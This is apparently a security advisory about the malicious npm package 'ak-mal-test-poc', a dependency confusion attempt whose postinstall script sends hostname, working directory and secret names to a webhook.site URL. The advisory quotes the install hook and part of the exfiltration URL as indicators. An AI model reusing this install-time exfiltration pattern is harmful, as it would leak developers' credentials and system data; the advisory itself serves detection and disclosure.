GCVE-110-OSM-2026-3368

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published April 29, 2026

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Payload: postinstall.js Key findings: - OAST/Interactsh Exfiltration in postinstall.js: "webhook.site" - Install Hook Executes Local JS File in package.json: ""postinstall": "node postinstall.js"" - Data Encoding for Exfiltration in postinstall.js: "encodeURIComponent(hostname)}&dir=${encodeURIComponent(cwd)}&secrets=GITHUB_PAT%..." - Very New NPM Publisher Account IOCs: - webhookServices: https://webhook.site/bde058de-673c-4b8a-9d9c-acb21ad67a68?host=${encodeURIComponent(hostname)}&dir=${encodeURIComponent(cwd)}&secrets=GITHUB_PAT%2CAWS_SECRET_ACCESS_KEY`; - payloadFileHash: 07c7a1fadda461d817c4f074dc70ab60ff511ef1a10641fc432f7000215e284f

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	ak-mal-test-poc	all (affected)	—

References

Malicious npm package: ak-mal-test-poc

advisory

vendor

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